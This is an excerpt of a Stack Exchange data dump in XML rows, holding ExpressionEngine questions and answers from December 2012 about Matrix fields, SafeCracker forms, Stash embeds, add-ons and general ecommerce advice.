  <row Id="1644" PostTypeId="2" ParentId="1636" CreationDate="2012-12-14T21:32:52.440" Score="4" Body="&lt;p&gt;Since you are hard-coding an &lt;code&gt;entry_id&lt;/code&gt; in your &lt;code&gt;channel:entries&lt;/code&gt; tag in your &lt;code&gt;products/index&lt;/code&gt; template, and &lt;em&gt;as long you don't need any additional url segments to trigger other behavior&lt;/em&gt;  (such as pagination or for dynamically loading another entry), you could just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; entry_id=&quot;12&quot;}&#xA;    {if segment_2 != &quot;&quot;}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-12-14T21:32:52.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1645" PostTypeId="2" ParentId="1628" CreationDate="2012-12-14T21:50:45.490" Score="6" Body="&lt;p&gt;Ecommerce is always much more hard work than a straightforward content site. I've been producing ecommerce sites for 12 years now and although the technology has changed the basic issues have remained the same. There's a lot of wisdom already on this post so I'll do my best...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About a year ago I started using EE with CartThrob for ecommerce projects and found them to be a great combination. CartThrob makes use of standard EE channels for product data so there's less of a learning curve for me and my clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience the things to watch out for with ecommerce are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;security:&lt;/strong&gt; don't be complacent about this. Make sure that your site is secure. I've had the nasty experience of having one of my sites hacked. At best it is very embarrassing (you have to explain to your client why it's happened) and at worse you're dealing with legal problems. Of course, having your payment gateway process the transactions off-site makes this less of a problem however you should still take it seriously. Ecommerce sites are a popular target for hackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;payment gateway:&lt;/strong&gt; which ever one you choose there are two broad types of service. One where the transactions are processed on their servers and another where your server is used. My advice, use the service where they process the transaction on their server. You can usually &quot;hide&quot; the mechanism by embedding the payment gateway's card authorisation pages into your site using Iframes if you like. Here in the UK my preferred payment gateway is SagePay. I re-style their authorisation pages to match the site and embed them into the checkout in an Iframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PCI DSS Compliance:&lt;/strong&gt; I'm not sure about the rest of the world but here in the UK the banks insist on my customers complying with this otherwise they charge them a monthly fee for being non-compliant. By using an off-site payment gateway the process of being compliant isn't too hard but as a general rule find out what your customer's merchant bank requires of them to trade on line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;shipping:&lt;/strong&gt; this has already been mentioned. Never underestimate your customer's shipping rules. You will need to make sure that the site's shipping calculations can take account of all combinations that may be ordered as well as types of shipping, geographical area etc. etc. Spend time with your client at the beginning of the project and make sure you really understand the way they charge for shipping. I had a customer who took 9 months to devise their shipping rules because before ecommerce came along it was &quot;Fred in the warehouse who could just look at an order and know how much it would cost&quot;. Once you understand their shipping calculations make sure that your chosen ecommerce system can cope. With CartThrob I've been able to write my own shipping plugins because the standard ones haven't catered for my clients' needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;product data:&lt;/strong&gt; where is it? In a spread sheet, an MS Word document, on sheets of paper, in a database? One way or another all that data ( descriptions, sizes, prices etc) has got to be put in to your ecommerce system. Find out early on, you may need to charge for data entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;photography:&lt;/strong&gt; bad product photos will do more harm than good. Does your customer have good photos of their products? If not, get a professional photographer to take some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SSL:&lt;/strong&gt; Even when using a payment gateway I tend to advise my customers to buy an SSL. That way, their customers see that the entire checkout is secure and not just the page on which they enter their card details. I find it helps their customers have confidence in the site. If your customer can afford it, an EV certificate is best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;testing:&lt;/strong&gt; we all hate this bit. Test, test and test again. Ideally get people to test the site who have never seen it before ( just like real customers). Make sure the site functions correctly, the shopping cart totals are correct for different combinations of products and that the shipping is correct ( again, for different combinations of products in the cart).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2012-12-14T21:50:45.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1646" PostTypeId="1" AcceptedAnswerId="1647" CreationDate="2012-12-14T23:05:12.693" Score="3" ViewCount="528" Body="&lt;p&gt;I'm using Matrix and one of my fields needs to be a Select Dropdown, but since it apparently isn't an option in Matrix I had to install P&amp;amp;T Dropdown. Is there a way to let users enter their own value if they would rather not select an item from the list? I'd like to know how to do this P&amp;amp;T Dropdown and Select Dropdown, if possible. If not, are there any other options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I suppose not all field types are &quot;Matrix compatible&quot; and that's why I don't see Select Dropdown as an option for cell type. Is that right? What makes a field type Matrix compatible?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-14T23:23:25.940" Title="P&amp;T Dropdown/Select Dropdown - allow users to enter item not in list?" Tags="|custom-fields|matrix|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1647" PostTypeId="2" ParentId="1646" CreationDate="2012-12-14T23:21:06.303" Score="4" Body="&lt;p&gt;The way I'd set this up is with an additional textarea field for the &quot;other&quot; content. Then you can write a conditional in the template to display that field data if it's not empty. To guide your editor, add instructions to the field column. If you want to get really detailed, you can write custom JS to hide the &quot;other&quot; field column until they select &quot;other&quot; in the dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom fields need to have code adjusted to be Matrix Compatible. Here are the docs for making those changes: &lt;a href=&quot;http://pixelandtonic.com/matrix/docs/ee2-functions&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/matrix/docs/ee2-functions&lt;/a&gt;. It doesn't seem like EllisLab has made these changes to their default fields. Not sure why that is exactly since everyone uses Matrix on one project or another.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-14T23:21:06.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1648" PostTypeId="2" ParentId="1646" CreationDate="2012-12-14T23:23:25.940" Score="1" Body="&lt;p&gt;I wonder if this add-on could be of use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-select&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This add-on makes long, unwieldy select boxes much more user-friendly&#xA;  with Chosen plugin. It is also opens the option for the user to add new&#xA;  items into the list &quot;on the fly&quot;. You can setup to save new options on&#xA;  field level (to be available for choosing in all entrees) or just&#xA;  once. Support Matrix-like fields, Low Variables, SafeCracker. And you&#xA;  can also populate list with custom SQL queries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-14T23:23:25.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1649" PostTypeId="1" AcceptedAnswerId="1650" CreationDate="2012-12-14T23:24:40.483" Score="0" ViewCount="124" Body="&lt;p&gt;I got Matrix to represent line item entries and Safecracker Registration so I can use Channels as member fields. I will be creating 2-3 member groups, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member Group A: field 1, field 2, field 3&lt;/li&gt;&#xA;&lt;li&gt;Member Group B: field 1, field 2, field 3, field 4, field 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since fields 1-3 are the same between Member Group A and B, is there a way for me to put them together in a common Channel, then put fields 4-5 in another Channel -- and then somehow associate the various Channels to be used a member fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Splitting the Channels is simple enough. I'm just not sure how using Channels work with member fields, etc. I'm trying to prevent duplicating my efforts when it comes to defining these fields in the Channels.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-14T23:45:52.250" Title="Matrix, Safecracker Registration - multiple channels for member fields" Tags="|members|channel|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1650" PostTypeId="2" ParentId="1649" CreationDate="2012-12-14T23:36:56.550" Score="1" Body="&lt;p&gt;The only way to do this is to store all your fields in the same field group and assign that field group to each member channel. Then you show/hide what you need on the edit form using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Publish Layouts&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will only cause issues if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You have a ton of fields in that field group because all fields will be loaded on the edit page and only the ones you select will be visible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have required fields that aren't required across all channels using the fields. A required field will throw a validation error even if it's hidden. The editor then can never save the entry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I asked a similar question here when we first launched the site to get the ball rolling:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/451/shared-field-group&quot;&gt;Shared field group?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-14T23:45:52.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1651" PostTypeId="1" AcceptedAnswerId="1652" CreationDate="2012-12-15T01:33:16.870" Score="4" ViewCount="764" Body="&lt;p&gt;I'm creating a Matrix to allow users to upload images. One of the fields I want to put is a radio button for &quot;Set as default image&quot;. That means each row in the Matrix will have a radio button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: there can only be one default image selected from the list of images. So, if one radio is selected, the other radio needs to be unselected. Is there a way to do this without using a JS solution?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-01-25T08:08:58.293" Title="Matrix &amp; Radio Buttons - how to make radio button part of the same group?" Tags="|matrix|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1652" PostTypeId="2" ParentId="1651" CreationDate="2012-12-15T02:14:17.917" Score="5" Body="&lt;p&gt;There are two available fieldtypes specifically for this purpose. They both work great:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-lone-star&quot;&gt;&lt;strong&gt;MX Lone Star&lt;/strong&gt;&lt;/a&gt;. It has the added advantage of working not only across rows, but across columns, too.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/pixelandtonic/matrix_radio_group&quot;&gt;&lt;strong&gt;Matrix Radio Group&lt;/strong&gt;&lt;/a&gt;. By Pixel &amp;amp; Tonic. This one is not on Devot:ee and might only be&lt;br&gt;&#xA;described &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/recommendations_for_favorites_on_a_matrix_row&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-15T03:15:13.157" LastActivityDate="2012-12-15T03:15:13.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1653" PostTypeId="2" ParentId="1422" CreationDate="2012-12-15T02:37:26.450" Score="0" Body="&lt;p&gt;I haven't used this module but if there is a CSS class for the grey message box, you can hide it with CSS using &lt;code&gt;.classname { display:none }&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-15T02:37:26.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1654" PostTypeId="2" ParentId="1199" CreationDate="2012-12-15T02:41:08.333" Score="1" Body="&lt;p&gt;Low Search cannot be fully implemented with Exp:resso Store data at this time.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-15T02:41:08.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1655" PostTypeId="1" AcceptedAnswerId="1656" CreationDate="2012-12-15T03:25:49.467" Score="3" ViewCount="403" Body="&lt;p&gt;I've got a SafeCracker form that contains (amongst other fields) an entry_date field and an expiration_date field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;entry_date&quot; id=&quot;entry_date&quot; value=&quot;{entry_date}&quot; maxlength=&quot;23&quot; size=&quot;25&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;expiration_date&quot; id=&quot;expiration_date&quot; value=&quot;{expiration_date}&quot; maxlength=&quot;23&quot; size=&quot;25&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this particular channel, I always want the expiration date to be exactly 24 hours after the entry date (and the user can change the entry date to be any date/time, not necessarily the current date/time). Is it possible make this happen automatically, without requiring the user to manually add/edit the expiration date?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-12-15T04:20:52.603" Title="Automatically set expiration_date to be 24 hours after entry_date in SafeCracker form" Tags="|safecracker|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1656" PostTypeId="2" ParentId="1655" CreationDate="2012-12-15T04:20:52.603" Score="7" Body="&lt;p&gt;The Auto Expire addon should do the trick:&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/auto-expire&quot;&gt;http://devot-ee.com/add-ons/auto-expire&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Auto Expire adds the ability to any weblog to automatically expire new entries. It adds a predefined amount of time to the entry date. If an expiration date has already been set, that date will be used as the expiration date.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-15T04:20:52.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1657" PostTypeId="1" AcceptedAnswerId="1659" CreationDate="2012-12-15T06:30:42.590" Score="2" ViewCount="404" Body="&lt;p&gt;I'm trying out SafeCracker for the first time. What I've done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SafeCracker module is installed&lt;/li&gt;&#xA;&lt;li&gt;Channel {test_profiles} is created with 1 field: {full_name}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following code outputs nothing between the tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Hello World&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;form&amp;gt;&#xA;    {exp:safecracker channel=&quot;test_profiles&quot; datepicker=&quot;no&quot; include_jquery=&quot;no&quot; return=&quot;registration/form&quot; safecracker_head=&quot;no&quot;}&#xA;        &amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;full_name&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;    {/exp:safecracker}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&#xA;I went to Addons -&gt; Modules -&gt; SafeCracker. I saw a list of my Channels there, including &lt;code&gt;test_profiles&lt;/code&gt;. I checked the &quot;Allow guests to post entries?&quot; checkbox and selected one of the members from the &quot;Set the member_id to use for guests.&quot; drop down menu. Afterwards, I viewed the template output again. Now I see a &amp;lt;script&gt; and &amp;lt;style&gt; inside the &amp;lt;form&gt; tags. I still don't see my text field, though.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="116" LastEditDate="2012-12-15T17:03:52.560" LastActivityDate="2012-12-15T17:03:52.560" Title="SafeCracker Not Working?" Tags="|templates|channel-entries|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1658" PostTypeId="2" ParentId="1637" CreationDate="2012-12-15T08:55:32.867" Score="5" Body="&lt;p&gt;Stash won't parse EE embeds at all (this is by design) so you'll need to use a Stash embed instead. When you use process=&quot;end&quot; the tag is replaced with a marker and 'post-processed' after the EE parser has completed parsing, and then replaced into the final template output. Therefore, it is up to the post-processed tag to do any parsing that might be required of the tags that it encloses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, you have two options here for the stash embed: make the stash embed behave like a standard EE tag and ask get_list to parse it as a tag, or include the stash embed at the start of template processing before the EE parser replaces the wrapping get_list tag with a marker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;sidebar&quot; process=&quot;end&quot; parse_tags=&quot;yes&quot;}&#xA;    {stash:embed name=&quot;sidebar-events&quot; stash:limit=&quot;3&quot; process=&quot;inline&quot;}&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;sidebar&quot; process=&quot;end&quot; parse_tags=&quot;yes&quot;}&#xA;    {stash:embed name=&quot;sidebar-events&quot; stash:limit=&quot;3&quot; process=&quot;start&quot;}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2012-12-15T17:17:20.917" LastActivityDate="2012-12-15T17:17:20.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1659" PostTypeId="2" ParentId="1657" CreationDate="2012-12-15T09:52:04.223" Score="2" Body="&lt;p&gt;Does the member group have permission to post to the channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CP Home &gt; Members &gt; Member Groups &gt; Edit Member Group &gt; Channel Assignment&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#allowing-guests-to-post-entries&quot; rel=&quot;nofollow noreferrer&quot;&gt;part of the docs&lt;/a&gt;&lt;/strong&gt; should help you allowing guests to post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It certainly helps me to create a &quot;Logged Out Members&quot; member_group and a single user in that group to take ownership of those entries. (In my case their member_id is '2' as shown in tag example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tag looks a little like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;registrations&quot;&#xA;                 return=&quot;foo/bar/ENTRY_ID&quot;&#xA;                 logged_out_member_id=&quot;2&quot;&#xA;                 ...&#xA;                 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My CP Home &gt; Extensions &gt; SafeCracker entry looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9W8Q.jpg&quot; alt=&quot;CP Home &amp;gt; Extensions &amp;gt; SafeCracker&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="173" LastEditorUserId="173" LastEditDate="2012-12-15T11:16:48.660" LastActivityDate="2012-12-15T11:16:48.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1660" PostTypeId="2" ParentId="1611" CreationDate="2012-12-15T10:15:34.690" Score="2" Body="&lt;p&gt;I use Zoo Flexible Admin as part of my EE builds and so I simply don't include a link in the menu to publish for the given channel - just allow them to edit.  Whilst this doesn't restrict the user from adding another entry they would have to know the exact URL to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this strategy on the home pages of sites.  Our home pages normally feature several matrix fields to control sliders, tabbed panels and the like.  Probably a little too much to store in Low Variables - also for a consistent user experience it still feels the same as editing a page for the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally have a top level menu options of 'home page' and then 'pages', 'entries' (listings like news), 'fragments' (link to Low Variables) etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works for me and the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for company details and the like I would store these under what I call 'fragments' - basically Low Variables - why use any other method?&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2012-12-15T10:15:34.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1661" PostTypeId="1" AcceptedAnswerId="1663" CreationDate="2012-12-15T11:18:57.967" Score="0" ViewCount="578" Body="&lt;ul&gt;&#xA;&lt;li&gt;My Channel has radios and checkboxes. How to I loop through the options so that I can display each item as a radio/checkbox option in the mark up? The example I found doesn't make much sense to me:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if radio}&#xA;     {options}&#xA;          &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{option_value}&#xA;          &amp;lt;input type=&quot;radio&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;          &amp;lt;/label&amp;gt;&#xA;     {/options}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SafeCracker outputs a bunch of hidden fields in a &lt;code&gt;div.hiddenFields&lt;/code&gt;. It should be in a &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; if it's going to pass validation. Is there a way to make them appear in a fieldset?&lt;/li&gt;&#xA;&lt;li&gt;I'd like to set a class in the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag produced by SafeCracker. Is there a way to do that?&lt;/li&gt;&#xA;&lt;li&gt;How do I display the field value for text, textarea, radio, checkbox, etc? I'd like to display them when the form loads if the values previously exist. And when user submits a form with bad values, I'd like to display the submitted values when the error page is displayed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&#xA;My first question is solved, I think:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:gender}&#xA;    &amp;lt;label for=&quot;{option_value}&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; name=&quot;gender&quot; value=&quot;{option_value}&quot; id=&quot;{option_value}&quot;&amp;gt;&#xA;        {option_value}&#xA;    &amp;lt;/label&amp;gt;&#xA;{/options:gender}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-15T13:33:02.473" LastActivityDate="2012-12-16T06:04:52.917" Title="SafeCracker - display radio and checkbox? set class in &lt;form&gt;? wrap hidden fields in &lt;fieldset&gt;?" Tags="|safecracker|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1662" PostTypeId="1" AcceptedAnswerId="1669" CreationDate="2012-12-15T12:39:07.680" Score="3" ViewCount="374" Body="&lt;p&gt;I've installed a shop for a client, but told him that we most probably have to switch to cartthrob because of the high requirements the final shop will have. at the moment they are just selling the merchandizing stuff and they really really love the tool! and I love it too! so before switching, I might as well ask you if exp:resso store can handle the final requirements: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's a record label store:&lt;br&gt;&#xA;so products of a typical release can contain:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;merchandizing stuff like t-shirts (w/ modifyers, colors, sizes), posters, books, dvds etc. &lt;/li&gt;&#xA;&lt;li&gt;the physical product like cd, lp, mp3 stick&lt;/li&gt;&#xA;&lt;li&gt;the virtual product, like mp3’s, wav, aiff files. &lt;/li&gt;&#xA;&lt;li&gt;tickets to shows&lt;/li&gt;&#xA;&lt;li&gt;bundles of 1-5… like, buy an album, get a ticket for free… or any other combination.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;so putting this all together will be rather complex I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &#xA;if someone buys the physical LP (yes, vinyl), they should automatically get the download version for free.&lt;br&gt;&#xA;you should be able to purchase one digital song or the whole album. but the bundled album price vs. all songs should be a little cheaper.&lt;br&gt;&#xA;there should be different prices for mp3’s, aiff, flacs and wavs…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now my question is: &#xA;has this already been done with store?&#xA;do you have code samples of a working shop? &#xA;do you think such a thing is feasable with store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;br&gt;&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="150" LastEditDate="2012-12-15T18:29:19.670" LastActivityDate="2012-12-15T18:44:20.553" Title="Can Exp:resso Store sell bundles of products?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1663" PostTypeId="2" ParentId="1661" CreationDate="2012-12-15T12:41:04.840" Score="2" Body="&lt;p&gt;Q1: what's not clear about the example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2: Form elements can be children of divs, that's fine. They just can't be directly children of the &amp;lt;form&gt; element (although I have a feeling that HTML5 might be a bit more relaxed about that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q3: The SafeCracker form has a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#id41&quot; rel=&quot;nofollow&quot;&gt;class parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q4: Examples for custom fields are &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#custom-fields&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-15T12:41:04.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1664" PostTypeId="2" ParentId="1621" CreationDate="2012-12-15T15:22:19.957" Score="2" Body="&lt;p&gt;9/10 times this is caused by JS errors. Check your error console to see if an add-on is breaking the CP, or something else. I see this all the time. If you find that you have errors in your console, report back and I can edit my answer for a possible culprit.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-15T15:22:19.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1665" PostTypeId="2" ParentId="1452" CreationDate="2012-12-15T16:01:24.213" Score="4" Body="&lt;p&gt;As it turns out, the issue was a conflict with Matrix and the Multiple Relationship extension where Multiple Relationship extension was being run after Matrix and was overwriting data produced by Matrix. Apparently some change in EE 2.5.3 caused this conflict because it didn’t exist before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually switched to Playa anyway since I couldn’t quite do what I wanted with Multiple Relationships so I’m going to just de-install that add-on. But if you need to run them together with EE 2.5.3, the fix is to run the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_extensions SET priority = 9 WHERE class = 'Mrelshp_ext' AND method = 'channel_entries_tagdata'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps anyone else pulling their hair out over this one.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2012-12-15T16:01:24.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1666" PostTypeId="2" ParentId="1611" CreationDate="2012-12-15T17:01:19.323" Score="0" Body="&lt;p&gt;Another addon to look at, that has a bit more functionality is &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt;. You can fully customize the control panel (hiding channels from publish so no new entries can be created) and user experience. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&quot;Admin lets you fully customize the control panel menu per membergroup. Insert custom links, rename, re-order and remove menu items in order to create a more intuitive menu.&quot;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-12-15T17:01:19.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
